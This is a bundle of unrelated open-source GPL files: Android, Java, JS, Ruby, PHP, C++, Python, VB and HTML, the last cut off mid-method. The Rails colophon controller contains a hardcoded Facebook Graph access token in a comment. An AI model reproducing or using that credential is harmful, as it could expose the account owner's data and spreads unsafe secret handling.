{@link YouTube}. * * @return {@link YouTube} */ public static YouTube create() { HttpTransport httpTransport = new NetHttpTransport(); JsonFactory jsonFactory = AndroidJsonFactory.getDefaultInstance(); return new YouTube.Builder(httpTransport, jsonFactory, new HttpRequestInitializer() { private String getSha1() { String sha1 = null; try { Signature[] signatures = SkyTubeApp.getContext().getPackageManager().getPackageInfo(BuildConfig.APPLICATION_ID, PackageManager.GET_SIGNATURES).signatures; for (Signature signature: signatures) { MessageDigest md = MessageDigest.getInstance("SHA-1"); md.update(signature.toByteArray()); sha1 = BaseEncoding.base16().encode(md.digest()); } } catch (Throwable tr) { Logger.e(this, "...", tr); } return sha1; } @Override public void initialize(HttpRequest request) throws IOException { request.getHeaders().set("X-Android-Package", BuildConfig.APPLICATION_ID); request.getHeaders().set("X-Android-Cert", getSha1()); } }).setApplicationName("+").build(); } }
gpl-3.0
HuygensING/visitei
src/main/java/nl/knaw/huygens/tei/Entities.java
1302
package nl.knaw.huygens.tei; /* * #%L * VisiTEI * ======= * Copyright (C) 2011 - 2017 Huygens ING * ======= * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-3.0.html>. * #L% */ /** * Contains definitions of some character entities. */ public class Entities { public static final String EM_DASH = "&#8212;"; // named: "&mdash;" public static final String LS_QUOTE = "&#8216;"; // named: "&lsquo;" public static final String RS_QUOTE = "&#8217;"; // named: "&rsquo;" public static final String LD_QUOTE = "&#8220;"; // named: "&ldquo;" public static final String RD_QUOTE = "&#8221;"; // named: "&rdquo;" public static final String BULLET = "&#8226;"; // named: "&bull;" }
gpl-3.0
hollaus/TinyPlanetMaker
app/src/main/java/org/hofapps/tinyplanet/RangeSeekBar.java
1322
package org.hofapps.tinyplanet; import android.content.Context; import android.util.AttributeSet; /** * Created by fabian on 02.11.2015. */ public class RangeSeekBar extends android.support.v7.widget.AppCompatSeekBar { private static final int ARRAY_MIN_POS = 0; private static final int ARRAY_MAX_POS = 1; private int[] range; private int id; public RangeSeekBar(final Context context) { super(context); } public RangeSeekBar(final Context context, final AttributeSet attrs) { super(context, attrs); } public RangeSeekBar(final Context context, final AttributeSet attrs, final int defStyle) { super(context, attrs, defStyle); } public void setRange(int[] range) { this.range = range; } public int getSeekBarValue() { int progress = getProgress(); int value = (int) range[ARRAY_MIN_POS] + (getProgress() * (range[ARRAY_MAX_POS] - range[ARRAY_MIN_POS])) / 100; return value; } public void setValue(int value) { int pos; pos = (int) (value - range[ARRAY_MIN_POS]) * 100 / (range[ARRAY_MAX_POS] - range[ARRAY_MIN_POS]); // pos = (int) (value * 100 / (range[ARRAY_MAX_POS] - range[ARRAY_MIN_POS])) - range[ARRAY_MIN_POS]; setProgress(pos); } }
gpl-3.0
Sch-Tomi/light-breaker
dev_js/blocks/checkpoint.js
326
class CheckPoint extends MasterBlock { constructor(heading, x, y, moving, rotating) { super("img/blocks/ellenorzo.png", heading, x, y, moving, rotating) this._hit = false } get_newDir(dir) { this._hit = true return [dir] } hitStatus() { return this._hit } }
gpl-3.0
ymmer/docker_apache-php
README.md
312
# docker container for apache2php7 small docker container using supervisord to test-run php apps. no db link yet. ## usage to build: `docker build -t ymmer/apache2php7:1.0 .` to run: `docker run -p 8000:80 -m 512m --name="myApp" -d ymmer/apache2php7:1.0` restart apache: `supervisorctl restart apache2`
gpl-3.0
goodfornothing/goodfornothing
app/controllers/colophon_controller.rb
3394
class ColophonController < ApplicationController def chapter @chapters = Chapter.order("title ASC").all end def who @all_chapters = Chapter.order("title ASC").all end def how end def funding end def highlights end def community @social = Social.where('start_time > ?',Time.now).first @gig = Gig.where('end_time > ?',Time.now).order("start_time DESC").first end def calendar @socials = Social.where('start_time > ?',Time.now).order("start_time DESC") @gigs = Gig.where('end_time > ?',Time.now).order("start_time DESC") @events = (@socials + @gigs).sort_by(&:start_time) end def datums # Member statistics @members = {} @members['inactive'] = User.where(:activated => false).count @members['active'] = User.active.count completion_percentages = User.active.map(&:profile_completion) @members['completion_average'] = (completion_percentages.inject{ |sum, el| sum + el }.to_f / completion_percentages.size).to_i @members['shared_comments'] = ((User.where('id in (?)', Comment.all.map(&:user_id).join(',')).count.to_f / @members['active'].to_f) * 100).round @members['shared_contributions'] = ((User.where('id in (?)', Contribution.all.map(&:user_id).join(',')).count.to_f / @members['active'].to_f) * 100).round @members['attended_gigs'] = ((Gig.all.map{ |g| g.users.map(&:id) if g.users.any? }.compact.flatten.uniq.count.to_f / @members['active'].to_f) * 100).round @members['attended_socials'] = ((Social.all.map{ |s| s.users.map(&:id) if s.users.any? }.compact.flatten.uniq.count.to_f / @members['active'].to_f) * 100).round @crew = {} @crew['blog_posts'] = Post.all.count @crew['trills'] = Issue.all.map{ |w| w.trills.published }.flatten.uniq.count @crew['challenges'] = Challenge.activated.count @crew['gigs'] = Gig.all.count @crew['socials'] = Social.all.count @users = {} @users['comments'] = Comment.all.count @users['contributions'] = Contribution.all.count @users['gigs_signed_up'] = Slot.where('gig_id IS NOT NULL').map{ |s| s.users.map(&:id) if s.users.any? }.compact.flatten.uniq.count @users['partner_requests'] = Partner.inactive.count @users['challenge_requests'] = Challenge.inactive.count @ga_profile = Garb::Management::Profile.all.detect {|p| p.web_property_id == 'UA-32250261-2'} @ga_uniques = @ga_profile.newvisits(:start_date => Date.today - 6.months, :end_date => Date.today).first.new_visits mc = Gibbon.new(ENV['MC_API_KEY'], { :throws_exceptions => false}) mc.campaigns({:list_id => ENV['MC_LIST_ID'], :status => 'sent'})['total'] @mailchimp_newsletters = mc.campaigns({:list_id => ENV['MC_LIST_ID'], :status => 'sent'})['total']; @mailchimp_newsletters = 9 #@fb_page = FbGraph::Page.new('g00dfornothing').fetch({:access_token => 'AAAFIALGg4joBACcLZBeYI9ZAD0o0bHE5UPDN5lOEH8hjXHxUnN8ZAZCpYNtZATmp0MlYLzbH94DWfBkUKGrO792ZCUFobdVEZCk27gmWqlpl9fMzFwvViuG'}) @fb_page = FbGraph::Page.new('g00dfornothing').fetch() @fb_likes = @fb_page.raw_attributes['likes']; @fb_posts = 25 #@fb_posts = @fb_page.posts.size @twitter_followers = 2904 #Twitter.user("g00dfornothing").followers_count; @twitter_tweets = 2530 # Twitter.user("g00dfornothing").statuses_count; end def watch @watches = Post.where(:watch => 1).sort_by(&:created_at) end def giftcard end end
gpl-3.0
cstrouse/chromebrew
packages/a2png.rb
1586
require 'package' class A2png < Package description 'Converts plain ASCII text into PNG bitmap images.' homepage 'https://sourceforge.net/projects/a2png/' version '0.1.5-1' compatibility 'all' source_url 'https://sourceforge.net/projects/a2png/files/a2png/0.1.5/a2png-0.1.5.tar.bz2' source_sha256 'd3ae1c771f5180d93f35cded76d9bb4c4cc2023dbe65613e78add3eeb43f736b' binary_url ({ aarch64: 'https://dl.bintray.com/chromebrew/chromebrew/a2png-0.1.5-1-chromeos-armv7l.tar.xz', armv7l: 'https://dl.bintray.com/chromebrew/chromebrew/a2png-0.1.5-1-chromeos-armv7l.tar.xz', i686: 'https://dl.bintray.com/chromebrew/chromebrew/a2png-0.1.5-1-chromeos-i686.tar.xz', x86_64: 'https://dl.bintray.com/chromebrew/chromebrew/a2png-0.1.5-1-chromeos-x86_64.tar.xz', }) binary_sha256 ({ aarch64: '72ebf874dee9871949df56eecd9b24e8586b84c1efed1bdf988f9ea9f28e012b', armv7l: '72ebf874dee9871949df56eecd9b24e8586b84c1efed1bdf988f9ea9f28e012b', i686: '76223ed1859aa31f3d93afb5e3705dfff7a8023de08672b4f2216a8fe55e46b5', x86_64: 'b468b226e28cf717c3f38435849bf737067a8b9ec3c1928c01fed5488bb31464', }) depends_on 'cairo' def self.build system "./configure \ --prefix=#{CREW_PREFIX} \ --libdir=#{CREW_LIB_PREFIX} \ --localstatedir=#{CREW_PREFIX}/tmp \ --enable-cairo \ --with-cairo-lib=#{CREW_LIB_PREFIX} \ --with-cairo-include=#{CREW_PREFIX}/include/cairo" system 'make' end def self.install system "make", "DESTDIR=#{CREW_DEST_DIR}", "install" end end
gpl-3.0
matfish2/vue-tables-2
compiled/filters/format-date.js
206
"use strict"; var validMoment = require('../helpers/is-valid-moment-object'); module.exports = function (value, dateFormat) { if (!validMoment(value)) return value; return value.format(dateFormat); };
gpl-3.0
map0logo/saisho
slides/formulas/html/._formulas-plain006.html
9419
<!-- Automatically generated HTML file from DocOnce source (https://github.com/hplgit/doconce/) --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="DocOnce: https://github.com/hplgit/doconce/" /> <meta name="description" content="Ch.1: Computing with formulas"> <title>Ch.1: Computing with formulas</title> <style type="text/css"> /* bloodish style */ body { font-family: Helvetica, Verdana, Arial, Sans-serif; color: #404040; background: #ffffff; } h1 { font-size: 1.8em; color: #8A0808; } h2 { font-size: 1.6em; color: #8A0808; } h3 { font-size: 1.4em; color: #8A0808; } h4 { color: #8A0808; } a { color: #8A0808; text-decoration:none; } tt { font-family: "Courier New", Courier; } p { text-indent: 0px; } hr { border: 0; width: 80%; border-bottom: 1px solid #aaa} p.caption { width: 80%; font-style: normal; text-align: left; } hr.figure { border: 0; width: 80%; border-bottom: 1px solid #aaa} .alert-text-small { font-size: 80%; } .alert-text-large { font-size: 130%; } .alert-text-normal { font-size: 90%; } .alert { padding:8px 35px 8px 14px; margin-bottom:18px; text-shadow:0 1px 0 rgba(255,255,255,0.5); border:1px solid #bababa; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; color: #555; background-color: #f8f8f8; background-position: 10px 5px; background-repeat: no-repeat; background-size: 38px; padding-left: 55px; width: 75%; } .alert-block {padding-top:14px; padding-bottom:14px} .alert-block > p, .alert-block > ul {margin-bottom:1em} .alert li {margin-top: 1em} .alert-block p+p {margin-top:5px} .alert-notice { background-image: url(https://raw.github.com/hplgit/doconce/master/bundled/html_images/small_gray_notice.png); } .alert-summary { background-image:url(https://raw.github.com/hplgit/doconce/master/bundled/html_images/small_gray_summary.png); } .alert-warning { background-image: url(https://raw.github.com/hplgit/doconce/master/bundled/html_images/small_gray_warning.png); } .alert-question {background-image:url(https://raw.github.com/hplgit/doconce/master/bundled/html_images/small_gray_question.png); } div { text-align: justify; text-justify: inter-word; } </style> </head> <!-- tocinfo {'highest level': 2, 'sections': [(u' Why program? ', 2, None, '___sec0'), (u' The teaching strategy is example-based ', 2, None, '___sec1'), (u' Evaluating a mathematical formula ', 2, None, '___sec2'), (u' Use a calculator? A program is much more powerful! ', 2, None, '___sec3'), (u' How to write and run the program ', 2, None, '___sec4'), (u' In this course we probably use computers differently from what you are used to ', 2, None, '___sec5'), (u' A short program can calculate any integral ', 2, None, '___sec6'), (u' Computers are very picky about grammar rules and typos ', 2, None, '___sec7'), (u' Programming opens up a new life ', 2, None, '___sec8'), (u' Store numbers in variables to make a program more readable ', 2, None, '___sec9'), (u' There is great flexibility in choosing variable names ', 2, None, '___sec10'), (u' Some words are reserved in Python ', 2, None, '___sec11'), (u' Comments are useful to explain how you think in programs ', 2, None, '___sec12'), (u' Comments are not always ignored.... ', 2, None, '___sec13'), (u' The printf syntax gives great flexibility in formatting text with numbers ', 2, None, '___sec14'), (u' Examples on different printf formats ', 2, None, '___sec15'), (u' Using printf formatting in our program ', 2, None, '___sec16'), (u' Some frequently used computer science terms ', 2, None, '___sec17'), (u' A program consists of statements ', 2, None, '___sec18'), (u' Assignment statements evaluate right-hand side and assign the result to the variable on the left-hand side ', 2, None, '___sec19'), (u' Syntax is the exact specification of instructions to the computer ', 2, None, '___sec20'), (u' Blanks (whitespace) can be used to nicely format the program text ', 2, None, '___sec21'), (u' A program takes some known *input* data and computes some *output* data ', 2, None, '___sec22'), (u' An operating system (OS) is a set of programs managing hardware and software resources on a computer ', 2, None, '___sec23'), (u' Evaluating a formula for temperature conversion ', 2, None, '___sec24'), (u' We must always check that a new program calculates the right answer ', 2, None, '___sec25'), (u' The error is caused by (unintended) integer division ', 2, None, '___sec26'), (u' Everything in Python is an object ', 2, None, '___sec27'), (u' Arithmetic expressions are evaluated as you have learned in mathematics ', 2, None, '___sec28'), (u' Standard mathematical functions are found in the `math` module ', 2, None, '___sec29'), (u' Another example on computing with functions from `math` ', 2, None, '___sec30'), (u' Computers have inexact arithmetics because of round-off errors ', 2, None, '___sec31'), (u' Another example involving math functions ', 2, None, '___sec32'), (u' Python can be used interactively as a calculator and to test statements ', 2, None, '___sec33'), (u' Python has full support for complex numbers ', 2, None, '___sec34'), (u' Python can also do symbolic computing ', 2, None, '___sec35'), (u' SymPy can do a lot of traditional mathematics ', 2, None, '___sec36'), (u' Summary of Chapter 1 (part 1) ', 2, None, '___sec37'), (u' Summary of Chapter 1 (part 2) ', 2, None, '___sec38'), (u' Programming is challenging ', 2, None, '___sec39'), (u' Summarizing example: throwing a ball (problem) ', 2, None, '___sec40'), (u' Summarizing example: throwing a ball (solution) ', 2, None, '___sec41')]} end of tocinfo --> <body> <script type="text/x-mathjax-config"> MathJax.Hub.Config({ TeX: { equationNumbers: { autoNumber: "none" }, extensions: ["AMSmath.js", "AMSsymbols.js", "autobold.js", "color.js"] } }); </script> <script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"> </script> <!-- newcommands.tex --> $$ \newcommand{\tp}{\thinspace .} $$ <a name="part0006"></a> <p> </p> <p> <!-- !split --> <h2>In this course we probably use computers differently from what you are used to <a name="___sec5"></a></h2> <div class="alert alert-block alert-block alert-text-normal"> <b></b> <p> <ul> <li> When you use a computer, you always run some programs</li> <li> The computer cannot do anything without being precisely told what to do, and humans write and use programs to tell the computer what to do</li> <li> Most people are used to double-click on a symbol to run a program - in this course we give commands in a terminal window because that is more efficient if you work intensively with programming</li> <li> Hard math problems suddenly become straightforward by writing programs</li> </ul> </div> <p> <p> <!-- begin bottom navigation --> <table style="width: 100%"><tr><td> <div style="text-align: left;"><a href="._formulas-plain005.html"><img src="http://hplgit.github.io/doconce/bundled/html_images/prev1.png" border=0 alt="&laquo; Previous"></a></div> </td><td> <div style="text-align: right;"><a href="._formulas-plain007.html"><img src="http://hplgit.github.io/doconce/bundled/html_images/next1.png" border=0 alt="Next &raquo;"></a></div> </td></tr></table> <!-- end bottom navigation --> </p> <!-- ------------------- end of main content --------------- --> </body> </html>
gpl-3.0
sdc/xerte
index.php
11968
<?php // Load the plugin files and fire a startup action require_once(dirname(__FILE__) . "/plugins.php"); startup(); require_once(dirname(__FILE__) . "/config.php"); _load_language_file("/index.inc"); /** * * Login page, self posts to become management page * * @author Patrick Lockley * @version 1.0 * @copyright Copyright (c) 2008,2009 University of Nottingham * @package */ include $xerte_toolkits_site->php_library_path . "display_library.php"; require_once(dirname(__FILE__) . "/website_code/php/login_library.php"); login_processing(); login_processing2(); recycle_bin(); /* * Output the main page, including the user's and blank templates */ ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <?php head_start();?> <!-- University of Nottingham Xerte Online Toolkits HTML to use to set up the template management page Version 1.0 --> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?PHP echo apply_filters("head_title", $xerte_toolkits_site->site_title); ?></title> <link href="website_code/styles/frontpage.css" media="screen" type="text/css" rel="stylesheet" /> <link href="website_code/styles/xerte_buttons.css" media="screen" type="text/css" rel="stylesheet" /> <link href="website_code/styles/folder_popup.css" media="screen" type="text/css" rel="stylesheet" /> <?PHP echo " <script type=\"text/javascript\"> // JAVASCRIPT library for fixed variables\n // management of javascript is set up here\n // SITE SETTINGS var site_url = \"{$xerte_toolkits_site->site_url}\"; var site_apache = \"{$xerte_toolkits_site->apache}\"; var properties_ajax_php_path = \"website_code/php/properties/\"; var management_ajax_php_path = \"website_code/php/management/\"; var ajax_php_path = \"website_code/php/\"; </script>"; ?> <script type="text/javascript" language="javascript" src="website_code/scripts/validation.js" ></script> <?php _include_javascript_file("website_code/scripts/file_system.js"); _include_javascript_file("website_code/scripts/screen_display.js"); _include_javascript_file("website_code/scripts/ajax_management.js"); _include_javascript_file("website_code/scripts/folders.js"); _include_javascript_file("website_code/scripts/template_management.js"); _include_javascript_file("website_code/scripts/logout.js"); _include_javascript_file("website_code/scripts/import.js"); ?> <?php head_end();?></head> <!-- code to sort out the javascript which prevents the text selection of the templates (allowing drag and drop to look nicer body_scroll handles the calculation of the documents actual height in IE. --> <body onload="javascript:sort_display_settings()" onselectstart="return false;" onscroll="body_scroll()"> <?php body_start();?> <!-- Folder popup is the div that appears when creating a new folder --> <div class="folder_popup" id="message_box"> <div class="corner" style="background-image:url(website_code/images/MessBoxTL.gif); background-position:top left;"> </div> <div class="central" style="background-image:url(website_code/images/MessBoxTop.gif);"> </div> <div class="corner" style="background-image:url(website_code/images/MessBoxTR.gif); background-position:top right;"> </div> <div class="main_area_holder_1"> <div class="main_area_holder_2"> <div class="main_area" id="dynamic_section"> <p><?PHP echo INDEX_FOLDER_PROMPT; ?></p><form id="foldernamepopup" action="javascript:create_folder()" method="post" enctype="text/plain"><input type="text" width="200" id="foldername" name="foldername" style="margin:0px; margin-right:5px; padding:3px" /><br /><br /> <button type="submit" class="xerte_button"><img src="website_code/images/Icon_Folder_15x12.gif"/><?php echo INDEX_BUTTON_NEWFOLDER; ?></button><button type="button" class="xerte_button" onclick="javascript:popup_close()"><?php echo INDEX_BUTTON_CANCEL; ?></button></form> <p><span id="folder_feedback"></span></p> </div> </div> </div> <div class="corner" style="background-image:url(website_code/images/MessBoxBL.gif); background-position:top left;"> </div> <div class="central" style="background-image:url(website_code/images/MessBoxBottom.gif);"> </div> <div class="corner" style="background-image:url(website_code/images/MessBoxBR.gif); background-position:top right;"> </div> </div> <div class="topbar"> <div style="width:50%; height:100%; float:right; position:relative; background-image:url(<?php echo $xerte_toolkits_site->site_url . $xerte_toolkits_site->organisational_logo ?>); background-repeat:no-repeat; background-position:right; margin-right:10px; float:right"> <p style="float:right; margin:0px; color:#a01a13;"><button type="button" class="xerte_button" onclick="javascript:logout()" ><?PHP echo INDEX_BUTTON_LOGOUT; ?></button></p> </div> <img src="<?php echo $xerte_toolkits_site->site_logo; ?>" style="margin-left:10px; float:left" /> </div> <!-- Main part of the page --> <div class="pagecontainer"> <div class="file_mgt_area"> <div class="file_mgt_area_top"> <div class="top_left sign_in_TL m_b_d_2_child"> <div class="top_right sign_in_TR m_b_d_2_child"> <p class="heading"> <?PHP echo apply_filters('page_title', INDEX_WORKSPACE_TITLE);?> </p> </div> </div> </div> <div class="file_mgt_area_middle"> <div class="file_mgt_area_middle_button"> <!-- File area menu --> <div class="file_mgt_area_middle_button_left"> <button type="button" class="xerte_button" id="newfolder" onclick="javascript:make_new_folder()"><img src="website_code/images/Icon_Folder_15x12.gif"/><?php echo INDEX_BUTTON_NEWFOLDER; ?></button> </div> <div class="file_mgt_area_middle_button_left"> <button type="button" class="xerte_button_disabled" disabled="disabled" id="properties"><?php echo INDEX_BUTTON_PROPERTIES; ?></button> <button type="button" class="xerte_button_disabled" disabled="disabled" id="edit"><?php echo INDEX_BUTTON_EDIT; ?></button> <button type="button" class="xerte_button_disabled" disabled="disabled" id="preview"><?php echo INDEX_BUTTON_PREVIEW; ?></button> </div> <div class="file_mgt_area_middle_button_right"> <button type="button" class="xerte_button_disabled" disabled="disabled" id="delete"><?php echo INDEX_BUTTON_DELETE; ?></button> <button type="button" class="xerte_button_disabled" disabled="disabled" id="duplicate"><?php echo INDEX_BUTTON_DUPLICATE; ?></button> <button type="button" class="xerte_button_disabled" disabled="disabled" id="publish"><?php echo INDEX_BUTTON_PUBLISH; ?></button> </div> <div id="file_area" onscroll="scroll_check(event,this)" onmousemove="mousecoords(event)" onmouseup="file_drag_stop(event,this)"><?PHP list_users_projects("data_down"); ?></div> </div> <!-- Everything from the end of the file system to the top of the blank templates area --> </div> <div class="file_mgt_area_bottom" style="height:30px;"> <div class="bottom_left sign_in_BL m_b_d_2_child" style="height:30px;"> <div class="bottom_right sign_in_BR m_b_d_2_child" style="height:30px;"> <form name="sorting" style="display:inline"> <p style="padding:0px; margin:3px 0 0 5px"> <?PHP echo INDEX_SORT; ?> <select name="type"> <option value="alpha_up"><?PHP echo INDEX_SORT_A; ?></option> <option value="alpha_down"><?PHP echo INDEX_SORT_Z; ?></option> <option value="date_down"><?PHP echo INDEX_SORT_NEW; ?></option> <option value="date_up"><?PHP echo INDEX_SORT_OLD; ?></option> </select> <button type="button" class="xerte_button" onclick="javascript:selection_changed()"><?php echo INDEX_BUTTON_SORT; ?></button> </p> </form> </div> </div> </div> <div class="border" style="margin-top:10px"></div> <div class="help" style="width:48%"> <?PHP echo apply_filters('editor_pod_one', $xerte_toolkits_site->pod_one); ?> </div> <div class="help" style="width:48%; float:right;"> <?PHP echo apply_filters('editor_pod_two', $xerte_toolkits_site->pod_two); ?> </div> </div> <div class="new_template_area"> <div class="top_left sign_in_TL m_b_d_2_child new_template_mod"> <div class="top_right sign_in_TR m_b_d_2_child"> <?php display_language_selectionform("general"); ?> <p class="heading"> <?PHP echo INDEX_CREATE; ?> </p> <p class="general"> <?PHP echo INDEX_TEMPLATES; ?> </p> </div> </div> <div class="new_template_area_middle"> <!-- Top of the blank templates section --> <div id="new_template_area_middle_ajax" class="new_template_area_middle_scroll"><?PHP list_blank_templates(); ?><!-- End of the blank templates section, through to end of page --> <?PHP echo "&nbsp;&nbsp;&nbsp;" . INDEX_LOGGED_IN_AS . " " . $_SESSION['toolkits_firstname'] ." " .$_SESSION['toolkits_surname'];?> </div> </div> <div class="file_mgt_area_bottom" style="width:100%"> <div class="bottom_left sign_in_BL m_b_d_2_child"> <div class="bottom_right sign_in_BR m_b_d_2_child" style="height:10px;"> </div> </div> </div> </div> <div class="border"> </div> <p class="copyright"> <img src="website_code/images/lt_logo.gif" /><br/> <?PHP echo $xerte_toolkits_site->copyright; ?></p> </div> <?php body_end();?></body> </html> <?php shutdown();?>
gpl-3.0
Alkalinee/Hurricane
Hurricane/Music/Data/TrackPlaylistPair.cs
397
using Hurricane.Music.Playlist; using Hurricane.Music.Track; namespace Hurricane.Music.Data { public class TrackPlaylistPair { public PlayableBase Track { get; set; } public IPlaylist Playlist { get; set; } public TrackPlaylistPair(PlayableBase track, IPlaylist playlist) { Track = track; Playlist = playlist; } } }
gpl-3.0
Fossa/teleprescence
source/OTMixerMgr.cc
3445
/* * Copyright (C) 2013 Mamadou DIOP * Copyright (C) 2013 Doubango Telecom <http://www.doubango.org> * License: GPLv3 * This file is part of the open source SIP TelePresence system <https://code.google.com/p/telepresence/> */ #include "opentelepresence/OTMixerMgr.h" #include "opentelepresence/OTMixerMgrAudio.h" #include "opentelepresence/OTMixerMgrVideo.h" #include "tsk_debug.h" #include <assert.h> OTMixerMgr::OTMixerMgr(OTMediaType_t eMediaType, OTObjectWrapper<OTBridgeInfo*> oBridgeInfo) :OTObject() { m_eMediaType = eMediaType; m_oBridgeInfo = oBridgeInfo; } OTMixerMgr::~OTMixerMgr() { // FIXME: loop and release()? m_OTCodecs.clear(); } /** Finds the best codec to use. /!\Function not thread safe @param listOfCodecsToSearchInto List of codecs combined using binary OR (|). @return The best codec if exist, otherwise NULL */ OTObjectWrapper<OTCodec*> OTMixerMgr::findBestCodec(OTCodec_Type_t eListOfCodecsToSearchInto) { std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { if(((*iter).first & eListOfCodecsToSearchInto) == (*iter).first) { return (*iter).second; } ++iter; } return NULL; } /** Removes a list of codecs /!\Function not thread safe @param listOfCodecsToSearchInto List of codecs combined using binary OR (|). @return True if removed, False otherwise */ bool OTMixerMgr::removeCodecs(OTCodec_Type_t eListOfCodecsToSearchInto) { bool bFound = false; std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter; again: iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { if(((*iter).first & eListOfCodecsToSearchInto) == (*iter).first) { (*iter).second->releaseRef(); m_OTCodecs.erase(iter); bFound = true; goto again; } ++iter; } return bFound; } /** Adds a new codec to the list of supported codecs. /!\Function not thread safe @param oCodec The codec to add. Must not be NULL. @return True if codec successfully added, False otherwise */ bool OTMixerMgr::addCodec(OTObjectWrapper<OTCodec*> oCodec) { OT_ASSERT(*oCodec); std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.find(oCodec->getType()); if(iter != m_OTCodecs.end()) { OT_DEBUG_ERROR("Codec with type = %d already exist", oCodec->getType()); return false; } m_OTCodecs.insert(std::pair<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >(oCodec->getType(), oCodec)); return true; } /** Executes action on all codecs. /!\Function not thread safe @return True if codec successfully added, False otherwise */ bool OTMixerMgr::executeActionOnCodecs(OTCodecAction_t eAction) { std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { (*iter).second->executeAction(eAction); ++iter; } return true; } OTObjectWrapper<OTMixerMgr*> OTMixerMgr::New(OTMediaType_t eMediaType, OTObjectWrapper<OTBridgeInfo*> oBridgeInfo) { OTObjectWrapper<OTMixerMgr*> pOTMixer; switch(eMediaType) { case OTMediaType_Audio: { pOTMixer = new OTMixerMgrAudio(oBridgeInfo); break; } case OTMediaType_Video: { pOTMixer = new OTMixerMgrVideo(oBridgeInfo); break; } } if(pOTMixer && !pOTMixer->isValid()) { OTObjectSafeRelease(pOTMixer); } return pOTMixer; }
gpl-3.0
toshiya44/simple-sample-epub
Stylesheets/toc-style.css
737
* { overflow-wrap: break-word; } h1, h2 { text-align: center; font-weight: bold; margin: 5% 0; } h3, h4, h5, h6 { text-align: center; font-weight: bold; margin: 4% 0 8% 0; } ol, ul { padding-left: 3em; padding-bottom: 0.4em; } ul.level1 > li { padding-bottom: 0.4em; list-style-type: square; } ul.level1 { padding-bottom: 0.4em; } /* you wouldn't want to show the gazillion sections in a toc page.*/ ul.level2 { display: none !important; } a { text-decoration: none; } a:link { color: rgb(0, 0, 255); } a:hover { color: rgb(0, 255, 0); } a:active { color: rgb(255, 0, 0); } img { display: block; height: auto; width: auto; margin: auto; max-height: 100%; max-width: 100%; padding: 1% 0; }
gpl-3.0
stephane-caron/dynamic-walking
wpg/com_control/__init__.py
1231
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2015-2017 Stephane Caron <stephane.caron@normalesup.org> # # This file is part of fip-walkgen # <https://github.com/stephane-caron/fip-walkgen>. # # fip-walkgen is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # fip-walkgen is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along with # fip-walkgen. If not, see <http://www.gnu.org/licenses/>. from cop_nmpc import COPPredictiveController from double_support import DoubleSupportController from fip_nmpc import FIPPredictiveController from regulation import FIPRegulator from wrench_nmpc import WrenchPredictiveController __all__ = [ 'COPPredictiveController', 'DoubleSupportController', 'FIPPredictiveController', 'FIPRegulator', 'WrenchPredictiveController', ]
gpl-3.0
P3D-Legacy/P3D-Legacy-CSharp
2.5DHero/2.5DHero/Pokemon/Attacks/Normal/Protect.vb
3489
Imports P3D.Legacy.Core Imports P3D.Legacy.Core.Pokemon Imports P3D.Legacy.Core.Screens Namespace BattleSystem.Moves.Normal Public Class Protect Inherits Attack Public Sub New() '#Definitions Me.Type = New Element(Element.Types.Normal) Me.ID = 182 Me.OriginalPP = 10 Me.CurrentPP = 10 Me.MaxPP = 10 Me.Power = 0 Me.Accuracy = 0 Me.Category = Categories.Status Me.ContestCategory = ContestCategories.Cute Me.Name = "Protect" Me.Description = "It enables the user to evade all attacks. Its chance of failing rises if it is used in succession." Me.CriticalChance = 0 Me.IsHMMove = False Me.Target = Targets.Self Me.Priority = 4 Me.TimesToAttack = 1 '#End '#SpecialDefinitions Me.MakesContact = False Me.ProtectAffected = False Me.MagicCoatAffected = False Me.SnatchAffected = False Me.MirrorMoveAffected = True Me.KingsrockAffected = False Me.CounterAffected = False Me.DisabledWhileGravity = False Me.UseEffectiveness = False Me.ImmunityAffected = False Me.HasSecondaryEffect = False Me.RemovesFrozen = False Me.IsHealingMove = False Me.IsRecoilMove = False Me.IsPunchingMove = False Me.IsDamagingMove = False Me.IsProtectMove = True Me.IsSoundMove = False Me.IsAffectedBySubstitute = False Me.IsOneHitKOMove = False Me.IsWonderGuardAffected = False '#End Me.AIField1 = AIField.Support Me.AIField2 = AIField.Nothing End Sub Public Overrides Function MoveFailBeforeAttack(own As Boolean, screen As Screen) As Boolean Dim BattleScreen As BattleScreen = CType(screen, BattleScreen) Dim chance As Double = 100D Dim protects As Integer = BattleScreen.FieldEffects.OwnProtectMovesCount If Own = False Then protects = BattleScreen.FieldEffects.OppProtectMovesCount End If If protects > 0 Then For i = 1 To protects chance /= 2 Next End If If Core.Random.Next(0, 100) < chance Then Return False Else BattleScreen.BattleQuery.Add(New TextQueryObject(Me.Name & " failed!")) Return True End If End Function Public Overrides Sub MoveHits(own As Boolean, screen As Screen) Dim BattleScreen As BattleScreen = CType(screen, BattleScreen) If own = True Then 